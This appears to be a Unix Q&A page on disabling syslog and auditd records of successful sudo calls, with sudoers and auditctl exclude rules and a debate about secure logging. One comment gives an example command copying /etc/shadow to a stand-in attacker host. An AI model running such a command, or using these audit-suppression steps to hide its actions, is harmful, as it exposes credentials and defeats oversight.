19

You can disable sudo related log messages via adding something like

Defaults:juser !syslog

to the sudoers file.

That will disable logging to syslog. But under e.g. CentOS/Fedora there is an auditd enabled by default which continues to (verbosely) log a successful sudo execution via /var/log/audit/audit.log. That means one (successful) sudo call results in 5 auditd log entries.

One (perhaps too broad) method to silence those messages is to disable the auditing of those message via auditctl options like those:

-a exclude,always -F msgtype=USER_START
-a exclude,always -F msgtype=USER_END 
-a exclude,always -F msgtype=USER_CMD
-a exclude,always -F msgtype=CRED_ACQ
-a exclude,always -F msgtype=CRED_DISP

Is there a more elegant/fine-grained method to only disable the auditing of successful sudo-calls?

(Perhaps only for a certain sudo-user?)

5
  • 4
    I get why you would want to reduce log noise, but I don't get why you would care to record only the unsuccessful commands. Successful commands can be just as harmful: sudo scp /etc/shadow badactor.example.com:. Commented Jan 15, 2015 at 3:57
  • 1
    @WarrenYoung, well, you have to draw the line somewhere. Logging your sudo scp ... command does not really reduces its harm, or does it? The point in time you notice it (if you notice it at all!) it is already to late. Thus, it makes more sense to invest your energy into reviewing and testing your sudo setup and related systems. Also, logging unsuccessful is not necessarily about detecting a mischievous person, it is probably more important for detecting a misconfiguration. And - someone unauthorized who successfully executes your sudo command, is probably also able to escape the auditing. Commented Jan 15, 2015 at 21:10
  • 4
    You don't seem to be considering secure logging with an eye toward post-mortem incident analysis. If you log to localhost and/or purposely decrease the audit level and your box gets rooted, you may never be able to discover how it was done, so you may be unable to prevent the replacement from getting rooted the same way. A trap-door log server with plenty of disk space can help you reconstruct what happened. Commented Jan 15, 2015 at 23:16
  • @WarrenYoung, I'm not against secure-logging in principle; for some deployments you want/need it - for others you don't. Also, secure logging is no silver bullet, either. It may give you clues in a post-mortem. As well as a good backup schedule. Commented Jan 16, 2015 at 21:35
  • 1
    The "secure logging" page is now at wpollock.com/AUnixSec/LoggingInfrastructure.htm
    – Dominik R
    Commented Dec 1, 2016 at 11:05

2 Answers 2

1

I looked this up on CentOS 7.

According to man auditctl you could check for the euid to filter out more specific for the user juser.

1

check your current rules and disable as needed.

sudo auditctl -l
1
  • Hm, can you add some concrete disable commands? Commented Apr 30, 2021 at 19:48

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .